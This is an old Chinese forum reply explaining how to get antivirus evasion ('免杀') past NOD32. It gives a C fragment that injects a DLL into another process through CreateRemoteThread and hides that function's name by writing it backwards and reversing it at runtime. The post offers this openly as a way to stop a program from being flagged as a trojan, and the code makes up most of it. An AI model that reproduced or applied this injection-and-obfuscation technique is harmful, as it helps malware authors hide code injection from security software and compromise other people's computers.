
- 帖子
- 19
- 积分
- 28
- 威望
- 37
- 金钱
- 32
- 在线时间
- 0 小时
|
5楼
发表于 2008-7-20 23:25
| 只看该作者
可以用LoadLibrary GetProcAddress的方法。不过要注意下NOD32不仅查IAT,它在程序的任意位置发现如CreateRemoteThread这样的字符串也会把程序当木马。
下面这个程序用了CreateRemoteThread函数但在NOD32下免杀。
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
typedef HANDLE(WINAPI *PFNCreateRemoteThread)(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags,LPDWORD lpThreadId );
HMODULE h = LoadLibrary("KERNEL32.DLL");
if(h!=NULL)
{
char temp[]="daerhTetomeRetaerC";
strrev(temp);
DWORD *Addr=(DWORD *)GetProcAddress(h,temp);
hRemoteThread =((PFNCreateRemoteThread)Addr)(hRemoteProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);
}
把CreateRemoteThread这几字倒着写,它傻了。。。。。我的BLOG:http://www.langouster.com
帖子48 精华10 积分3538 阅读权限100 性别男 在线时间80 小时 注册时间2006-7-22 最后登录2008-7-14 查看个人网站
查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经
混世魔王 
荣誉会员
   |
|